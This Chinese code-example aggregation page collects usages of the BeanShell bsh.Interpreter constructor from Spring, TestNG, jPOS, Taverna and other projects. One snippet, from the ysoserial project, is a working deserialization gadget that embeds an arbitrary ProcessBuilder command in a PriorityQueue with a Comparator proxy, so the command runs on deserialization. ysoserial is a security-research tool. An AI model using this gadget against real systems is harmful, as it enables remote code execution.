bsh.Interpreter.<init>()方法的使用及代码示例

x33g5p2x  于2022-01-21 转载在 其他  
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本文整理了Java中bsh.Interpreter.<init>()方法的一些代码示例，展示了Interpreter.<init>()的具体用法。这些代码示例主要来源于Github/Stackoverflow/Maven等平台，是从一些精选项目中提取出来的代码，具有较强的参考意义，能在一定程度帮忙到你。Interpreter.<init>()方法的具体详情如下：
包路径：bsh.Interpreter
类名称：Interpreter
方法名：<init>

Interpreter.<init>介绍

[英]Create an interpreter for evaluation only.
[中]创建一个仅用于评估的解释器。

代码示例

代码示例来源：origin: org.testng/testng

private static Interpreter getInterpreter() {
 if(null == s_interpreter) {
  s_interpreter= new Interpreter();
 }
 return s_interpreter;
}

代码示例来源：origin: spring-projects/spring-framework

/**
 * Evaluate the specified BeanShell script based on the given script source,
 * returning the Class defined by the script.
 * <p>The script may either declare a full class or return an actual instance of
 * the scripted object (in which case the Class of the object will be returned).
 * In any other case, the returned Class will be {@code null}.
 * @param scriptSource the script source text
 * @param classLoader the ClassLoader to use for evaluating the script
 * @return the scripted Java class, or {@code null} if none could be determined
 * @throws EvalError in case of BeanShell parsing failure
 */
@Nullable
static Class<?> determineBshObjectType(String scriptSource, @Nullable ClassLoader classLoader) throws EvalError {
  Assert.hasText(scriptSource, "Script source must not be empty");
  Interpreter interpreter = new Interpreter();
  if (classLoader != null) {
    interpreter.setClassLoader(classLoader);
  }
  Object result = interpreter.eval(scriptSource);
  if (result instanceof Class) {
    return (Class<?>) result;
  }
  else if (result != null) {
    return result.getClass();
  }
  else {
    return null;
  }
}

代码示例来源：origin: spring-projects/spring-framework

@Override
@Nullable
public Object evaluate(ScriptSource script, @Nullable Map<String, Object> arguments) {
  try {
    Interpreter interpreter = new Interpreter();
    interpreter.setClassLoader(this.classLoader);
    if (arguments != null) {
      for (Map.Entry<String, Object> entry : arguments.entrySet()) {
        interpreter.set(entry.getKey(), entry.getValue());
      }
    }
    return interpreter.eval(new StringReader(script.getScriptAsString()));
  }
  catch (IOException ex) {
    throw new ScriptCompilationException(script, "Cannot access BeanShell script", ex);
  }
  catch (EvalError ex) {
    throw new ScriptCompilationException(script, ex);
  }
}

代码示例来源：origin: spring-projects/spring-framework

Interpreter interpreter = new Interpreter();
interpreter.setClassLoader(classLoader);
Object result = interpreter.eval(scriptSource);

代码示例来源：origin: org.springframework/spring-context

/**
 * Evaluate the specified BeanShell script based on the given script source,
 * returning the Class defined by the script.
 * <p>The script may either declare a full class or return an actual instance of
 * the scripted object (in which case the Class of the object will be returned).
 * In any other case, the returned Class will be {@code null}.
 * @param scriptSource the script source text
 * @param classLoader the ClassLoader to use for evaluating the script
 * @return the scripted Java class, or {@code null} if none could be determined
 * @throws EvalError in case of BeanShell parsing failure
 */
@Nullable
static Class<?> determineBshObjectType(String scriptSource, @Nullable ClassLoader classLoader) throws EvalError {
  Assert.hasText(scriptSource, "Script source must not be empty");
  Interpreter interpreter = new Interpreter();
  if (classLoader != null) {
    interpreter.setClassLoader(classLoader);
  }
  Object result = interpreter.eval(scriptSource);
  if (result instanceof Class) {
    return (Class<?>) result;
  }
  else if (result != null) {
    return result.getClass();
  }
  else {
    return null;
  }
}

代码示例来源：origin: stackoverflow.com

Interpreter interpreter = new Interpreter();
interpreter.eval("result = 5+4*(7-15)");
System.out.println(interpreter.get("result"));

代码示例来源：origin: org.springframework/spring-context

@Override
@Nullable
public Object evaluate(ScriptSource script, @Nullable Map<String, Object> arguments) {
  try {
    Interpreter interpreter = new Interpreter();
    interpreter.setClassLoader(this.classLoader);
    if (arguments != null) {
      for (Map.Entry<String, Object> entry : arguments.entrySet()) {
        interpreter.set(entry.getKey(), entry.getValue());
      }
    }
    return interpreter.eval(new StringReader(script.getScriptAsString()));
  }
  catch (IOException ex) {
    throw new ScriptCompilationException(script, "Cannot access BeanShell script", ex);
  }
  catch (EvalError ex) {
    throw new ScriptCompilationException(script, ex);
  }
}

代码示例来源：origin: org.springframework/spring-context

Interpreter interpreter = new Interpreter();
interpreter.setClassLoader(classLoader);
Object result = interpreter.eval(scriptSource);

代码示例来源：origin: frohoff/ysoserial

public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
  String payload =
    "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
      Strings.join( // does not support spaces in quotes
        Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
        ",", "\"", "\"") +
      "}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}

代码示例来源：origin: osmandapp/Osmand

public BeanShellTileSourceTemplate(String name, String urlToLoad, String ext,
    int maxZoom, int minZoom, int tileSize, int bitDensity, int avgSize) {
  super(name, urlToLoad, ext, maxZoom, minZoom, tileSize, bitDensity, avgSize);
  bshInterpreter = new Interpreter();
  try {
    bshInterpreter.eval(urlToLoad);
    bshInterpreter.getClassManager().setClassLoader(new ClassLoader() {
      @Override
      public URL getResource(String resName) {
        return null;
      }
      
      @Override
      public InputStream getResourceAsStream(String resName) {
        return null;
      }
      
      @Override
      public Class<?> loadClass(String className) throws ClassNotFoundException {
        throw new ClassNotFoundException("Error requesting " + className);
      }
    });
  } catch (bsh.EvalError e) {
    log.error("Error executing the map init script " + urlToLoad, e);
  }
}

代码示例来源：origin: stackoverflow.com

import bsh.Interpreter;

Interpreter i = new Interpreter();  // Construct an interpreter
YourObject yourObject = new YourObject();
i.set("myObject", yourObject ); 

// Source an external script file
i.source("somefile.bsh");

代码示例来源：origin: jpos/jPOS

public void actionPerformed (ActionEvent ev) {
    String bshSource = ev.getActionCommand();
    try {
      Interpreter bsh = new Interpreter ();
      bsh.source (bshSource);
    } catch (Exception e) {
      e.printStackTrace();
    }
  }
}

代码示例来源：origin: beanshell/beanshell

protected Interpreter getInterpreter() {
  if (interpreter == null) {
    this.interpreter = new Interpreter();
    interpreter.setNameSpace(null); // should always be set by context
  }
  return interpreter;
}

代码示例来源：origin: uk.org.mygrid.taverna.processors/taverna-beanshell-processor

public BeanshellTask(Processor p) throws ClassNotFoundException {
  this.proc = (BeanshellProcessor) p;
  ClassLoader classLoader = proc.findClassLoader();
  interpreter = new Interpreter();
  interpreter.setClassLoader(classLoader);
  logger.info("Beanshell using classloader " + classLoader);
}

代码示例来源：origin: org.jbpm/jbpm-form-modeler-ui

protected Interpreter getInterpreter(Form form, String namespace) {
  Interpreter i = (Interpreter) formProcessor.getAttribute(form, namespace, FormProcessor.ATTR_INTERPRETER);
  if (i == null)
    formProcessor.setAttribute(form, namespace, FormProcessor.ATTR_INTERPRETER, i = new Interpreter());
  return i;
}

代码示例来源：origin: uk.org.mygrid.taverna/taverna-contrib

public void actionPerformed(ActionEvent e) {
    try {
      Interpreter interpreter = new Interpreter();
      interpreter.eval(scriptText.getText());
    } catch (EvalError e1) {
      e1.printStackTrace();
    }
  }
});

代码示例来源：origin: jitlogic/zorka

public PreparsedScript(final String source, final ClassLoader classLoader) throws EvalError {
  final ClassManagerImpl classManager = new ClassManagerImpl();
  classManager.setClassLoader(classLoader);
  final NameSpace nameSpace = new NameSpace(classManager, "global");
  _interpreter = new Interpreter(new StringReader(""), System.out, System.err, false, nameSpace, null, null);
  try {
    final This callable = (This) _interpreter.eval("__execute() { " + source + "\n" + "}\n" + "return this;");
    _method = callable.getNameSpace().getMethod("__execute", new Class[0], false);
  } catch (final UtilEvalError e) {
    throw new IllegalStateException(e);
  }
}

代码示例来源：origin: jpos/jPOS

private Interpreter initInterpreter () throws EvalError {
  Interpreter bsh = new Interpreter ();
  bsh.set ("sp", sp);
  bsh.set ("spacelet", this); 
  bsh.set ("log", getLog());
  return bsh;
}
private Interpreter initInterpreter (Object key) throws EvalError {

代码示例来源：origin: ESAPI/esapi-java-legacy

public BeanShellRule(String fileLocation, String id, Pattern path) throws IOException, EvalError {
  i = new Interpreter();
  i.set("logger", logger);
  this.script = getFileContents(ESAPI.securityConfiguration().getResourceFile(fileLocation));
  this.id = id;
  this.path = path;
}

代码示例来源：origin: jpos/jPOS

public void initService() {
  bsh = new Interpreter ();
  BshClassManager bcm = bsh.getClassManager();
  try {
    bcm.setClassPath(getServer().getLoader().getURLs());
  } catch (UtilEvalError e) {
    e.printStackTrace();
  }
  bcm.setClassLoader(getServer().getLoader());
}
public void startService() {

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